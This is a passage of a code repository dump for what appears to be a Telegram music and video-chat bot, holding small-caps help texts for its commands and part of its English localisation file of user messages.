sᴜᴅᴏᴇʀs]\n\nʀᴇsᴛʀɪᴄᴛ sʜɪᴛ ᴄʜᴀᴛs ᴛᴏ ᴜsᴇ ᴏᴜʀ ᴘʀᴇᴄɪᴏᴜs ʙᴏᴛ.\n\n/blacklistchat [ᴄʜᴀᴛ ɪᴅ] : ʙʟᴀᴄᴋʟɪsᴛ ᴀ ᴄʜᴀᴛ ғʀᴏᴍ ᴜsɪɴɢ ᴛʜᴇ ʙᴏᴛ.\n/whitelistchat [ᴄʜᴀᴛ ɪᴅ] : ᴡʜɪᴛᴇʟɪsᴛ ᴛʜᴇ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛ.\n/blacklistedchat : sʜᴏᴡs ᴛʜᴇ ʟɪsᴛ ᴏғ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs.\n\"\"\"\n\nHELP_5 = \"\"\"\n<u><b>ʙʟᴏᴄᴋ ᴜsᴇʀs:</b></u> [ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs]\n\nsᴛᴀʀᴛs ɪɢɴᴏʀɪɴɢ ᴛʜᴇ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴜsᴇʀ, sᴏ ᴛʜᴀᴛ ʜᴇ ᴄᴀɴ'ᴛ ᴜsᴇ ʙᴏᴛ ᴄᴏᴍᴍᴀɴᴅs.\n\n/block [ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ʀᴇᴩʟʏ ᴛᴏ ᴀ ᴜsᴇʀ] : ʙʟᴏᴄᴋ ᴛʜᴇ ᴜsᴇʀ ғʀᴏᴍ ᴏᴜʀ ʙᴏᴛ.\n/unblock [ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ʀᴇᴩʟʏ ᴛᴏ ᴀ ᴜsᴇʀ] : ᴜɴʙʟᴏᴄᴋs ᴛʜᴇ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀ.\n/blockedusers : sʜᴏᴡs ᴛʜᴇ ʟɪsᴛ ᴏғ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs.\n\"\"\"\n\nHELP_6 = \"\"\"\n<u><b>ᴄʜᴀɴɴᴇʟ ᴩʟᴀʏ ᴄᴏᴍᴍᴀɴᴅs:</b></u>\n\nʏᴏᴜ ᴄᴀɴ sᴛʀᴇᴀᴍ ᴀᴜᴅɪᴏ/ᴠɪᴅᴇᴏ ɪɴ ᴄʜᴀɴɴᴇʟ.\n\n/cplay : sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴀᴜᴅɪᴏ ᴛʀᴀᴄᴋ ᴏɴ ᴄʜᴀɴɴᴇʟ's ᴠɪᴅᴇᴏᴄʜᴀᴛ.\n/cvplay : sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴠɪᴅᴇᴏ ᴛʀᴀᴄᴋ ᴏɴ ᴄʜᴀɴɴᴇʟ's ᴠɪᴅᴇᴏᴄʜᴀᴛ.\n/cplayforce or /cvplayforce : sᴛᴏᴩs ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ ᴀɴᴅ sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴛʀᴀᴄᴋ.\n\n/channelplay [ᴄʜᴀᴛ ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ɪᴅ] ᴏʀ [ᴅɪsᴀʙʟᴇ] : ᴄᴏɴɴᴇᴄᴛ ᴄʜᴀɴɴᴇʟ ᴛᴏ ᴀ ɢʀᴏᴜᴩ ᴀɴᴅ sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʀᴀᴄᴋs ʙʏ ᴛʜᴇ ʜᴇʟᴩ ᴏғ ᴄᴏᴍᴍᴀɴᴅs sᴇɴᴛ ɪɴ ɢʀᴏᴜᴩ.\n\"\"\"\n\nHELP_7 = \"\"\"\n<u><b>ɢʟᴏʙᴀʟ ʙᴀɴ ғᴇᴀᴛᴜʀᴇ</b></u> [ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs] :\n\n/gban [ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ʀᴇᴩʟʏ ᴛᴏ ᴀ ᴜsᴇʀ] : ɢʟᴏʙᴀʟʟʏ ʙᴀɴs ᴛʜᴇ ᴄʜᴜᴛɪʏᴀ ғʀᴏᴍ ᴀʟʟ ᴛʜᴇ sᴇʀᴠᴇᴅ ᴄʜᴀᴛs ᴀɴᴅ ʙʟᴀᴄᴋʟɪsᴛ ʜɪᴍ ғʀᴏᴍ ᴜsɪɴɢ ᴛʜᴇ ʙᴏᴛ.\n/ungban [ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ʀᴇᴩʟʏ ᴛᴏ ᴀ ᴜsᴇʀ] : ɢʟᴏʙᴀʟʟʏ ᴜɴʙᴀɴs ᴛʜᴇ ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ᴜsᴇʀ.\n/gbannedusers : sʜᴏᴡs ᴛʜᴇ ʟɪsᴛ ᴏғ ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ᴜsᴇʀs.\n\"\"\"\n\nHELP_8 = \"\"\"\n<b><u>ʟᴏᴏᴘ sᴛʀᴇᴀᴍ :</b></u>\n\n<b>sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ ɪɴ ʟᴏᴏᴘ</b>\n\n/loop [enable/disable] : ᴇɴᴀʙʟᴇs/ᴅɪsᴀʙʟᴇs ʟᴏᴏᴘ ғᴏʀ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ\n/loop [1, 2, 3, ...] : ᴇɴᴀʙʟᴇs ᴛʜᴇ ʟᴏᴏᴘ ғᴏʀ ᴛʜᴇ ɢɪᴠᴇɴ ᴠᴀʟᴜᴇ.\n\"\"\"\n\nHELP_9 = \"\"\"\n<u><b>ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ</b></u> [ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs] :\n\n/logs : ɢᴇᴛ ʟᴏɢs ᴏғ ᴛʜᴇ ʙᴏᴛ.\n\n/logger [ᴇɴᴀʙʟᴇ/ᴅɪsᴀʙʟᴇ] : ʙᴏᴛ ᴡɪʟʟ sᴛᴀʀᴛ ʟᴏɢɢɪɴɢ ᴛʜᴇ ᴀᴄᴛɪᴠɪᴛɪᴇs ʜᴀᴩᴩᴇɴ ᴏɴ ʙᴏᴛ.\n\n/maintenance [ᴇɴᴀʙʟᴇ/ᴅɪsᴀʙʟᴇ] : ᴇɴᴀʙʟᴇ ᴏʀ ᴅɪsᴀʙʟᴇ ᴛʜᴇ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ᴏғ ʏᴏᴜʀ ʙᴏᴛ.\n\"\"\"\n\nHELP_10 = \"\"\"\n<b><u>ᴘɪɴɢ & sᴛᴀᴛs :</b></u>\n\n/start : sᴛᴀʀᴛs ᴛʜᴇ ᴍᴜsɪᴄ ʙᴏᴛ.\n/help : ɢᴇᴛ ʜᴇʟᴩ ᴍᴇɴᴜ ᴡɪᴛʜ ᴇxᴩʟᴀɴᴀᴛɪᴏɴ ᴏғ ᴄᴏᴍᴍᴀɴᴅs.\n\n/ping : sʜᴏᴡs ᴛʜᴇ ᴩɪɴɢ ᴀɴᴅ sʏsᴛᴇᴍ sᴛᴀᴛs ᴏғ ᴛʜᴇ ʙᴏᴛ.\n\n/stats : sʜᴏᴡs ᴛʜᴇ ᴏᴠᴇʀᴀʟʟ sᴛᴀᴛs ᴏғ ᴛʜᴇ ʙᴏᴛ.\n\"\"\"\n\nHELP_11 = \"\"\"\n<u><b>ᴩʟᴀʏ ᴄᴏᴍᴍᴀɴᴅs :</b></u>\n\n<b>v :</b> sᴛᴀɴᴅs ғᴏʀ ᴠɪᴅᴇᴏ ᴩʟᴀʏ.\n<b>force :</b> sᴛᴀɴᴅs ғᴏʀ ғᴏʀᴄᴇ ᴩʟᴀʏ.\n\n/play ᴏʀ /vplay : sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴛʀᴀᴄᴋ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.\n\n/playforce ᴏʀ /vplayforce : sᴛᴏᴩs ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ ᴀɴᴅ sᴛᴀʀᴛs sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ ᴛʀᴀᴄᴋ.\n\"\"\"\n\nHELP_12 = \"\"\"\n<b><u>sʜᴜғғʟᴇ ᴏ̨ᴜᴇᴜᴇ :</b></u>\n\n/shuffle : sʜᴜғғʟᴇ's ᴛʜᴇ ᴏ̨ᴜᴇᴜᴇ.\n/queue : sʜᴏᴡs ᴛʜᴇ sʜᴜғғʟᴇᴅ ᴏ̨ᴜᴇᴜᴇ.\n\"\"\"\n\nHELP_13 = \"\"\"\n<b><u>sᴇᴇᴋ sᴛʀᴇᴀᴍ :</b></u>\n\n/seek [ᴅᴜʀᴀᴛɪᴏɴ ɪɴ sᴇᴄᴏɴᴅs] : sᴇᴇᴋ ᴛʜᴇ sᴛʀᴇᴀᴍ ᴛᴏ ᴛʜᴇ ɢɪᴠᴇɴ ᴅᴜʀᴀᴛɪᴏɴ.\n/seekback [ᴅᴜʀᴀᴛɪᴏɴ ɪɴ sᴇᴄᴏɴᴅs] : ʙᴀᴄᴋᴡᴀʀᴅ sᴇᴇᴋ ᴛʜᴇ sᴛʀᴇᴀᴍ ᴛᴏ ᴛʜᴇ ᴛʜᴇ ɢɪᴠᴇɴ ᴅᴜʀᴀᴛɪᴏɴ.\n\"\"\"\n\nHELP_14 = \"\"\"\n<b><u>sᴏɴɢ ᴅᴏᴡɴʟᴏᴀᴅ</b></u>\n\n/song [sᴏɴɢ ɴᴀᴍᴇ/ʏᴛ ᴜʀʟ] : ᴅᴏᴡɴʟᴏᴀᴅ ᴀɴʏ ᴛʀᴀᴄᴋ ғʀᴏᴍ ʏᴏᴜᴛᴜʙᴇ ɪɴ ᴍᴘ3 ᴏʀ ᴍᴘ4 ғᴏʀᴍᴀᴛs.\n\"\"\"\n\nHELP_15 = \"\"\"\n<b><u>sᴘᴇᴇᴅ ᴄᴏᴍᴍᴀɴᴅs :</b></u>\n\nʏᴏᴜ ᴄᴀɴ ᴄᴏɴᴛʀᴏʟ ᴛʜᴇ ᴘʟᴀʏʙᴀᴄᴋ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ. [ᴀᴅᴍɪɴs ᴏɴʟʏ]\n\n/speed or /playback : ғᴏʀ ᴀᴅᴊᴜsᴛɪɴɢ ᴛʜᴇ ᴀᴜᴅɪᴏ ᴘʟᴀʏʙᴀᴄᴋ sᴘᴇᴇᴅ ɪɴ ɢʀᴏᴜᴘ.\n/cspeed or /cplayback : ғᴏʀ ᴀᴅᴊᴜsᴛɪɴɢ ᴛʜᴇ ᴀᴜᴅɪᴏ ᴘʟᴀʏʙᴀᴄᴋ sᴘᴇᴇᴅ ɪɴ ᴄʜᴀɴɴᴇʟ.\n\"\"\"\n"
  },
  {
    "path": "strings/langs/en.yml",
    "content": "name : 🇺🇸 English\n\n# Reason Of Gban Or Ungban\ngban_reason : \"ᴛʜᴇ ʙᴏᴛ ᴡɪʟʟ ɢʙᴀɴ ᴏɴʟʏ ᴡᴏʀᴋ ᴡʜᴇɴ ʏᴏᴜ ᴡɪʟʟ ɢɪᴠᴇ ᴜsᴇʀɴᴀᴍᴇ ᴀɴᴅ ʀᴇᴀsᴏɴ ᴛᴏᴏ!!\"\nungban_reason : \"ᴀs ᴡᴇʟʟ ᴀs ʏᴏᴜ ɢʙᴀɴɴᴇᴅ!\\nᴛʜᴇ ʙᴏᴛ ᴡɪʟʟ ᴜɴɢʙᴀɴ sᴏᴍᴇᴏɴᴇ ᴡɪᴛʜ ᴛʜᴇɪʀ ʀᴇᴀsᴏɴ ᴏғ ᴜɴɢʙᴀɴɴɪɴɢ!!\"\ntoo_short : \"ʜᴀʜᴀʜᴀ!!\\nɪғ ʏᴏᴜ ᴛʜɪɴᴋ ᴛʜᴀᴛ ʙᴏᴛ ᴡɪʟʟ ɢʙᴀɴ ʙʏ ɢɪᴠɪɴɢ ʀᴇᴀsᴏɴ ғᴏʀ ᴍᴀᴋɪɴɢ ᴍᴇ ғᴏᴏʟ, ᴛʜᴇɴ ᴛʜɪɴᴋ ᴀʙᴏᴜᴛ ᴛʜᴇ ᴏᴡɴᴇʀ ᴏғ ʙᴏᴛ ɪs ɴᴏᴛ sᴛᴜᴘɪᴅ!!\"\n\ngeneral_1 : \"» ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴜsᴇʀ's ᴍᴇssᴀɢᴇ ᴏʀ ɢɪᴠᴇ ᴜsᴇʀɴᴀᴍᴇ/ᴜsᴇʀ ɪᴅ.\"\ngeneral_2 : \"» sᴏᴍᴇᴛʜɪɴɢ ᴡᴇɴᴛ ᴡʀᴏɴɢ ᴡʜɪʟᴇ ᴘʀᴏᴄᴇssɪɴɢ ʏᴏᴜʀ ǫᴜᴇʀʏ.\\n\\nᴇxᴄᴇᴘᴛɪᴏɴ : <code>{0}</code>\"\ngeneral_3 : \"ʏᴏᴜ'ʀᴇ ᴀɴ ᴀɴᴏɴʏᴍᴏᴜs ᴀᴅᴍɪɴ ɪɴ ᴛʜɪs ᴄʜᴀᴛ, ʀᴇᴠᴇʀᴛ ʙᴀᴄᴋ ᴛᴏ ᴜsᴇʀ ᴀᴄᴄᴏᴜɴᴛ ғᴏʀ ᴜsɪɴɢ ᴍᴇ.\"\ngeneral_4 : \"» ʏᴏᴜ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ᴍᴀɴᴀɢᴇ ᴠɪᴅᴇᴏ ᴄʜᴀᴛs.\\n\\nʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ᴠɪᴀ /reload\"\ngeneral_5 : \"» ʙᴏᴛ ɪsɴ'ᴛ sᴛʀᴇᴀᴍɪɴɢ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.\"\n\ntg_1 : \"<u><b>{0} ᴅᴏᴡɴʟᴏᴀᴅᴇʀ</b></u>\\n\\n<b>ғɪʟᴇ sɪᴢᴇ :</b> {1}\\n<b>ᴄᴏᴍᴘʟᴇᴛᴇᴅ :</b> {2}\\n<b>ᴘᴇʀᴄᴇɴᴛᴀɢᴇ :</b> {3}%\\n\\n<b>sᴘᴇᴇᴅ :</b> {4}/s\\n<b>ᴇᴛᴀ :</b> {5}\"\ntg_2 : \"sᴜᴄᴄᴇssғᴜʟʟʏ ᴅᴏᴡɴʟᴏᴀᴅᴇᴅ, ᴘʀᴏᴄᴇssɪɴɢ ғɪʟᴇ...\\n\\n<b>ᴛɪᴍᴇ ᴇʟᴀᴘsᴇᴅ :</b> {0}\"\ntg_3 : \"ғᴀɪʟᴇᴅ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ ᴍᴇᴅɪᴀ ғʀᴏᴍ ᴛᴇʟᴇɢʀᴀᴍ, ᴘʟᴇᴀsᴇ ᴛʀʏ ᴀɢᴀɪɴ...\"\ntg_4 : \"» ᴅᴏᴡɴʟᴏᴀᴅ ᴀʟʀᴇᴀᴅʏ ᴄᴏᴍᴘʟᴇᴛᴇᴅ.\"\ntg_5 : \"» ᴅᴏᴡɴʟᴏᴀᴅ ᴀʟʀᴇᴀᴅʏ ᴄᴏᴍᴘʟᴇᴛᴇᴅ ᴏʀ ᴄᴀɴᴄᴇʟʟᴇᴅ.\"\ntg_6 : \"» ᴅᴏᴡɴʟᴏᴀᴅ ᴄᴀɴᴄᴇʟʟᴇᴅ.\"\ntg_7 : \"» ᴅᴏᴡɴʟᴏᴀᴅ ᴄᴀɴᴄᴇʟʟᴇᴅ ʙʏ : {0}\"\ntg_8 : \"ғᴀɪʟᴇᴅ ᴛᴏ sᴛᴏᴘ ᴛʜᴇ ᴅᴏᴡɴʟᴏᴀᴅ.\"\ntg_9 : \"ғᴀɪʟᴇᴅ ᴛᴏ ɢᴇᴛ ᴛʜᴇ ᴏɴɢᴏɪɴɢ ᴅᴏᴡɴʟᴏᴀᴅ ᴛᴀsᴋ...\"\n\ncall_1 : \"» ʙᴏᴛ ʀᴇǫᴜɪʀᴇs <b>ɪɴᴠɪᴛᴇ ᴜsᴇʀs ᴠɪᴀ ʟɪɴᴋ</b> ᴘᴇʀᴍɪssɪᴏɴ ᴛᴏ ɪɴᴠɪᴛᴇ ᴀssɪsᴛᴀɴᴛ ᴛᴏ ʏᴏᴜʀ ᴄʜᴀᴛ.\"\ncall_2 : \"<u>{0} ᴀssɪsᴛᴀɴᴛ ɪs ʙᴀɴɴᴇᴅ ɪɴ ʏᴏᴜʀ ɢʀᴏᴜᴘ/ᴄʜᴀɴɴᴇʟ.</u>\\n\\n<b>ɪᴅ :</b> <code>{1}</code>\\n<b>ɴᴀᴍᴇ :</b> {2}\\n<b>ᴜsᴇʀɴᴀᴍᴇ :</b> @{3}\\n\\nᴘʟᴇᴀsᴇ ᴜɴʙᴀɴ ᴛʜᴇ ᴀssɪsᴛᴀɴᴛ ᴀɴᴅ ᴛʀʏ ᴀɢᴀɪɴ.\"\ncall_3 : \"ғᴀɪʟᴇᴅ ᴛᴏ ɪɴᴠɪᴛᴇ {0} ᴀssɪsᴛᴀɴᴛ ᴛᴏ ʏᴏᴜʀ ᴄʜᴀᴛ.\\n\\nʀᴇᴀsᴏɴ : <code>{1}</code>\"\ncall_4 : \"ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\\n\\nɪɴᴠɪᴛɪɴɢ {0} ᴀssɪsᴛᴀɴᴛ ᴛᴏ ʏᴏᴜʀ ᴄʜᴀᴛ...\"\ncall_5 : \"{0} ᴀssɪsᴛᴀɴᴛ ᴊᴏɪɴᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ.\\n\\nᴛʀʏɪɴɢ ᴛᴏ sᴛᴀʀᴛ sᴛʀᴇᴀᴍ...\"\ncall_6 : \"» ғᴀɪʟᴇᴅ ᴛᴏ sᴡɪᴛᴄʜ sᴛʀᴇᴀᴍ, ᴘʟᴇᴀsᴇ ᴜsᴇ /skip ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ ᴛʀᴀᴄᴋ ᴀɢᴀɪɴ.\"\ncall_7 : \"» ᴅᴏᴡɴʟᴏᴀᴅɪɴɢ ɴᴇxᴛ ᴛʀᴀᴄᴋ ғʀᴏᴍ ǫᴜᴇᴜᴇ.\\n\\nᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ...\"\ncall_8 : \"<b>Nᴏ ᴀᴄᴛɪᴠᴇ ᴠɪᴅᴇᴏᴄʜᴀᴛ ғᴏᴜɴᴅ.</b>\\n\\nPʟᴇᴀsᴇ sᴛᴀʀᴛ ᴠɪᴅᴇᴏᴄʜᴀᴛ ɪɴ ʏᴏᴜʀ ɢʀᴏᴜᴘ/ᴄʜᴀɴɴᴇʟ ᴀɴᴅ ᴛʀʏ ᴀɢᴀɪɴ.\"\ncall_9 : \"<b>Assɪsᴛᴀɴᴛ ᴀʟʀᴇᴀᴅʏ ɪɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.</b>\\n\\nɪғ ᴀssɪsᴛᴀɴᴛ ɪs ɴᴏᴛ ɪɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ, ᴘʟᴇᴀsᴇ sᴇɴᴅ <code>/reboot</code> ᴀɴᴅ ᴘʟᴀʏ ᴀɢᴀɪɴ.\"\ncall_10 : \"<b>Tᴇʟᴇɢʀᴀᴍ sᴇʀᴠᴇʀ ᴇʀʀᴏʀ</b>\\n\\nᴛᴇʟᴇɢʀᴀᴍ ɪs ʜᴀᴠɪɴɢ sᴏᴍᴇ ɪɴᴛᴇʀɴᴀʟ ᴘʀᴏʙʟᴇᴍs, ᴘʟᴇᴀsᴇ ᴛʀʏ ᴘʟᴀʏɪɴɢ ᴀɢᴀɪɴ ᴏʀ ʀᴇsᴛᴀʀᴛ ᴛʜᴇ ᴠɪᴅᴇᴏᴄʜᴀᴛ ᴏғ ʏᴏᴜʀ ɢʀᴏᴜᴘ.\"\n\nauth_1 : \"» ʏᴏᴜ ᴄᴀɴ ᴏɴʟʏ ʜᴀᴠᴇ 25 ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ɪɴ ʏᴏᴜʀ ɢʀᴏᴜᴘ.\"\nauth_2 : \"» ᴀᴅᴅᴇᴅ {0} ᴛᴏ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ.\"\nauth_3 : \"{0} ɪs ᴀʟʀᴇᴀᴅʏ ɪɴ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ.\"\nauth_4 : \"» ʀᴇᴍᴏᴠᴇᴅ {0} ғʀᴏᴍ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ.\"\nauth_5 : \"{0} ɪs ɴᴏᴛ ɪɴ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ.\"\nauth_6 : \"» ғᴇᴛᴄʜɪɴɢ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ...\"\nauth_7 : \"» ʟɪsᴛ ᴏғ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ɪɴ {0} :\\n\\n\"\nauth_8 : \"<b>↬ ᴀᴅᴅᴇᴅ ʙʏ :</b>\"\n\nreload_1 : \"» ʏᴏᴜ ᴄᴀɴ ᴏɴʟʏ ʀᴇғʀᴇsʜ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ᴏɴᴄᴇ ɪɴ 3 ᴍɪɴᴜᴛᴇs.\\n\\nᴘʟᴇᴀsᴇ ᴛʀʏ ᴀғᴛᴇʀ {0}.\"\nreload_2 : \"» ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ʀᴇғʀᴇsʜᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ.\"\nreload_3 : \"» ғᴀɪʟᴇᴅ ᴛᴏ ʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ, ᴍᴀᴋᴇ sᴜʀᴇ ᴛʜᴀᴛ ᴛʜᴇ ʙᴏᴛ ɪs ᴀᴅᴍɪɴ ɪɴ ʏᴏᴜʀ ᴄʜᴀᴛ.\"\nreload_4 : \"» ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\\n\\nʀᴇʙᴏᴏᴛɪɴɢ {0} ғᴏʀ ʏᴏᴜʀ ᴄʜᴀᴛ.\"\nreload_5 : \"sᴜᴄᴄᴇssғᴜʟʟʏ ʀᴇʙᴏᴏᴛᴇᴅ {0} ғᴏʀ ʏᴏᴜʀ ᴄʜᴀᴛ.\\n\\nsᴛᴀʀᴛ ᴘʟᴀʏɪɴɢ ᴀɢᴀɪɴ...\"\n\nadmin_1 : \"» ᴅɪᴅ ʏᴏᴜ ʀᴇᴍᴇᴍʙᴇʀ ᴛʜᴀᴛ ʏᴏᴜ'ᴠᴇ ʀᴇsᴜᴍᴇᴅ ᴛʜᴇ sᴛʀᴇᴀᴍ ?\"\nadmin_2 : \"➻ sᴛʀᴇᴀᴍ ᴘᴀᴜsᴇᴅ 🎄\\n│ \\n└ʙʏ : {0} 🥀\"\nadmin_3 : \"» ᴅɪᴅ ʏᴏᴜ ʀᴇᴍᴇᴍʙᴇʀ ᴛʜᴀᴛ ʏᴏᴜ'ᴠᴇ ᴘᴀᴜsᴇᴅ ᴛʜᴇ sᴛʀᴇᴀᴍ ?\"\nadmin_4 : \"➻ sᴛʀᴇᴀᴍ ʀᴇsᴜᴍᴇᴅ 🎄\\n│ \\n└ʙʏ : {0} 🥀\"\nadmin_5 : \"➻ sᴛʀᴇᴀᴍ ᴇɴᴅᴇᴅ/sᴛᴏᴩᴩᴇᴅ 🎄\\n│ \\n└ʙʏ : {0} 🥀\"\nadmin_6 : \"➻ sᴛʀᴇᴀᴍ sᴋɪᴩᴩᴇᴅ 🎄\\n│ \\n└ʙʏ : {0} 🥀\\n\\n<b>» ɴᴏ ᴍᴏʀᴇ ǫᴜᴇᴜᴇᴅ ᴛʀᴀᴄᴋs ɪɴ</b> {1}, <b>ʟᴇᴀᴠɪɴɢ ᴠɪᴅᴇᴏᴄʜᴀᴛ.</b>\"\nadmin_7 : \"ᴇʀʀᴏʀ ᴡʜɪʟᴇ ᴄʜᴀɴɢɪɴɢ sᴛʀᴇᴀᴍ ᴛᴏ {0}.\"\nadmin_8 : \"» ᴘʟᴇᴀsᴇ ᴅɪsᴀʙʟᴇ ʟᴏᴏᴘ ᴘʟᴀʏ ᴠɪᴀ <code>/loop disable</code> ᴀɴᴅ ᴛʜᴇɴ ᴛʀʏ ᴛᴏ sᴋɪᴘ ᴀɢᴀɪɴ.\"\nadmin_9 : \"ᴘʟᴇᴀsᴇ ᴜsᴇ sᴘᴇᴄɪғɪᴄ ɴᴜᴍʙᴇʀs ғᴏʀ sᴋɪᴘ, ʟɪᴋᴇ 1, 2, 4...\"\nadmin_10 : \"ᴀᴛʟᴇᴀsᴛ 2 ᴛʀᴀᴄᴋs ɴᴇᴇᴅᴇᴅ ɪɴ ǫᴜᴇᴜᴇ ғᴏʀ sᴘᴇᴄɪғɪᴄ sᴋɪᴘ.\\n\\nᴄʜᴇᴄᴋ ᴛʜᴇ ǫᴜᴇᴜᴇ ʙʏ : /queue\"\nadmin_11 : \"» ɴᴏᴛ ᴇɴᴏᴜɢʜ ᴛʀᴀᴄᴋs ɪɴ ǫᴜᴇᴜᴇ ғᴏʀ sᴘᴇᴄɪғɪᴄ sᴋɪᴘ.\\n\\nᴘʟᴇᴀsᴇ sᴋɪᴘ ʙᴇᴛᴡᴇᴇɴ 1 ᴀɴᴅ {0}\"\nadmin_12 : \"» ғᴀɪʟᴇᴅ ᴛᴏ sᴋɪᴘ ᴛᴏ sᴘᴇᴄɪғɪᴄ ᴛʀᴀᴄᴋ.\\n\\nᴄʜᴇᴄᴋ ʟᴇғᴛ ǫᴜᴇᴜᴇ ʙʏ : /queue\"\nadmin_13 : \"» ᴘʟᴇᴀsᴇ ʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ᴠɪᴀ : /reload\"\nadmin_14 : \"» ʏᴏᴜ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ᴍᴀɴᴀɢᴇ ᴠɪᴅᴇᴏ ᴄʜᴀᴛs.\\n\\nʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ᴠɪᴀ : /reload\"\nadmin_15 : \"» ғᴀɪʟᴇᴅ ᴛᴏ sʜᴜғғʟᴇ.\\n\\n<b>ᴄʜᴇᴄᴋ ǫᴜᴇᴜᴇ ʙʏ :</b> /queue\"\nadmin_16 : \"» ǫᴜᴇᴜᴇ sʜᴜғғʟᴇᴅ ʙʏ {0}.\\n\\n<b>ᴄʜᴇᴄᴋ sʜᴜғғʟᴇᴅ ǫᴜᴇᴜᴇ ʙʏ :</b> /queue\"\nadmin_17 : \"<b>ᴇxᴀᴍᴘʟᴇ :</b>\\n\\n/loop <code>enable</code>/<code>disable</code>\\n/loop <code>10</code>/<code>9</code>/<code>8</code>/<code>7</code>\"\nadmin_18 : \"» ʟᴏᴏᴘ ᴇɴᴀʙʟᴇᴅ ғᴏʀ <code>{0}</code> ᴛɪᴍᴇs ʙʏ : {1}.\"\nadmin_19 : \"» ʟᴏᴏᴘ ᴘʟᴀʏ ʜᴀs ʙᴇᴇɴ ᴅɪsᴀʙʟᴇᴅ ʙʏ : {0}.\"\nadmin_20 : \"<b>ᴇxᴀᴍᴘʟᴇ :</b>\\n\\n/seek ᴏʀ /seekback [ᴅᴜʀᴀᴛɪᴏɴ ɪɴ sᴇᴄᴏɴᴅs]\"\nadmin_21 : \"» ᴘʟᴇᴀsᴇ ᴜsᴇ ɴᴜᴍᴇʀɪᴄ ᴅɪɢɪᴛs ғᴏʀ sᴇᴇᴋɪɴɢ ɪɴ sᴇᴄᴏɴᴅs.\"\nadmin_22 : \"» ʟɪᴠᴇ sᴛʀᴇᴀᴍs ᴄᴀɴ'ᴛ ʙᴇ sᴇᴇᴋᴇᴅ.\"\nadmin_23 : \"» ᴛʀʏ sᴇᴇᴋɪɴɢ ᴡɪᴛʜ ᴀ ʟᴏᴡᴇʀ ᴅᴜʀᴀᴛɪᴏɴ.\\n\\nᴘʟᴀʏᴇᴅ <b>{0}</b> ᴏᴜᴛ ᴏғ <b>{1}</b> ᴍɪɴᴜᴛᴇs.\"\nadmin_24 : \"<b>sᴇᴇᴋɪɴɢ...</b>\\n\\nᴘʟᴇᴀsᴇ ʜᴏʟᴅ 